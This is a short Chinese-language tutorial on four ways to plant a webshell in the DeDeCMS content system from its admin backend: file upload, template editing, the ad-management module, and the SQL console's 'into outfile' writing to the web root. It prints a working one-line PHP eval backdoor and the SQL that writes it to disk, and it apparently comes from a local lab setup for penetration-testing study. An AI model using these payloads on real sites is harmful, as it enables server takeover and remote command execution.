CMS漏洞-DeDeCMS篇
一.姿势一：通过⽂件管理器上传WebShell
1.首先我们搭建网站然后进行登录
2.模块👉文件管理器👉文件上传
3.新建一个1.php文件，内容为：
<?php phpinfo();?>
选择1.php文件上传
4.访问网站根目录下的1.php，发现代码成功执行，说明我们的木马上传成功！！
二.姿势二：修改模板文件拿WebShell
1.模板👉默认模板管理👉index.htm👉修改
2.插入代码：
<?php phpinfo();?>并保存
3.生成👉更新主机html，主页位置修改为index.php，生成静态，更新主页html
4.访问主页，发现主页为phpinfo界面，说明我们植入的代码有效！
三.姿势三：后台任意命令执⾏拿WebShell
1.模块👉广告管理
在内容上写入代码：
<?php phpinfo();?>
2.上传成功后查看代码，并复制引号内容
3.访问后发现页面无回显
4.现在我们将代码换为一句话木马：
<?php @eval($_POST[cmd]);?>
5.跟上述步骤一样复制引号内容并访问
6.使用蚁剑连接，连接成功！！
说明木马成功植入
四.姿势四：通过后台sql命令执⾏拿webshell
1.系统👉sql命令行工具
在命令行输入select @@basedir;
获取mysql路径，由此猜测⽹站绝对路径
2.在命令行输入：
select '<?php @eval($_POST[cmd]);?>' into outfile 'D:/phpstudy_pro/WWW/dedecms/uploads/webshell.php'
上传一句话木马到webshell.php文件
3.我们在网站根目录下发现了webshell.php文件，内容为一句话木马
4.我们访问木马文件并复制其绝对路径
5.连接成功！
木马植入成功！
